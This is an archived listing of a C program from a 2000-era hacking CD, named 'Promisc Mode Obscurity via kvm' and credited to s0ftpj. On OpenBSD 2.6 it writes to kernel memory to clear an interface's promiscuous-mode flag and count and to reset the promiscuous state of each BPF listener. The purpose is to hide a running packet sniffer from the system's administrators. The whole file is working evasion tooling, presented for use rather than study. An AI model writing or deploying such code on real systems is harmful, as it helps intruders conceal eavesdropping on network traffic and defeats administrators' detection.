home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / obsd_obscura.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  2.6 KB  |  128 lines

  1. /*
  2.  * Name: Promisc Mode Obscurity via kvm 
  3.  * Date: May 23 03:46:51 2000
  4.  * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
  5.  *
  6.  * SoftProject Digital Security for Y2K
  7.  * Sikurezza.org Italian Security Mailing List
  8.  *
  9.  * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
  10.  * Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
  11.  *
  12.  * Tested on: OpenBSD 2.6 kern#0 i386
  13.  *
  14.  * cc obsd_obscura.c -lkvm
  15.  */
  16.  
  17. #include <stdio.h>
  18. #include <string.h>
  19. #include <fcntl.h>
  20. #include <kvm.h> 
  21. #include <err.h>
  22. #include <sysexits.h>
  23. #include <sys/param.h>
  24. #include <sys/socket.h>
  25. #include <net/if.h>
  26. #include <net/bpfdesc.h>
  27.  
  28. #define    Error(x)    errx(EX_UNAVAILABLE, x);
  29.  
  30. struct nlist list[] = {
  31.     {"_ifnet"},
  32.     {NULL}
  33. };
  34.  
  35.  
  36. void 
  37. usage(char *arg)
  38. {
  39.     printf(    "OpenBSD - Promisc Total Obscurity\n"
  40.         "---------------------------------\n\n"
  41.         "Coded By pIGpEN / s0FtPj Y2k\n\n");
  42.  
  43.     printf("%s <interface>\n", arg);
  44.     
  45.     exit(0);
  46. }
  47.  
  48. void
  49. bpf_zero(kvm_t *kd, struct ifnet *ifp)
  50. {
  51.     struct bpf_if    ibpf;
  52.     struct bpf_d    dbpf, *pdbpf;
  53.     int count = 0;
  54.  
  55.     kvm_read(kd, (u_long) ifp->if_bpf, &ibpf, sizeof ibpf);
  56.  
  57.     for(pdbpf = ibpf.bif_dlist; pdbpf; pdbpf = dbpf.bd_next) {
  58.         kvm_read(kd, (u_long) pdbpf, &dbpf, sizeof dbpf);
  59.         printf("#%d listener has %s promisc mode enabled",
  60.                 ++count, (!dbpf.bd_promisc) ? "no " : " ");
  61.  
  62.         if(dbpf.bd_promisc) {
  63.             printf(" (changed)");
  64.             dbpf.bd_promisc = 0;
  65.             kvm_write(kd, (u_long) pdbpf, &dbpf, sizeof dbpf);
  66.         }
  67.  
  68.         putchar('\n');
  69.     }
  70. }
  71.  
  72.  
  73.  
  74. int
  75. main(int argc, char **argv)
  76. {
  77.     kvm_t *kd;
  78.     struct ifnet_head ifh;
  79.     struct ifnet ifc, *ifp;
  80.  
  81.     if(argc != 2)
  82.         usage(argv[0]);
  83.     
  84.     if(!(kd=kvm_open(NULL, NULL, NULL, O_RDWR, argv[0]))) 
  85.         Error("kvm_open()");
  86.  
  87.     if(kvm_nlist(kd, list) == -1)
  88.         Error("kvm_nlist()");
  89.  
  90.     if(!list[0].n_value)
  91.         Error("checking n_value");
  92.  
  93.     kvm_read(kd, list[0].n_value, &ifh, sizeof ifh);
  94.     
  95.     for(ifp = ifh.tqh_first; ifp; ifp = ifc.if_list.tqe_next) {
  96.  
  97.         kvm_read(kd, (u_long) ifp, &ifc, sizeof ifc);
  98.         
  99.         if(!strcmp(argv[1], ifc.if_xname)) {
  100.             printf("%s found ... promisc mode ", ifc.if_xname);
  101.             if(ifc.if_flags & IFF_PROMISC) {
  102.                 printf("(found)\n");
  103.  
  104.                 if(ifc.if_pcount) 
  105.                 /* Like in FreeBSD version, you can do a 
  106.                  * perfect thing by decreasing for each 
  107.                  * descriptor found
  108.                  */
  109.                     ifc.if_pcount = 0;
  110.  
  111.                 ifc.if_flags &= ~IFF_PROMISC;
  112.  
  113.                 kvm_write(kd, (u_long) ifp, &ifc, sizeof ifc);
  114.                 printf("BPF Analysis for %s interface\n",
  115.                         ifc.if_xname);
  116.                 bpf_zero(kd, &ifc);
  117.             }else
  118.                 printf("(not found)\n");
  119.  
  120.         }else
  121.             printf("skipping -> %s\n", ifc.if_xname);
  122.     }
  123.  
  124.     kvm_close(kd);
  125.  
  126.     return 0;
  127. }
  128.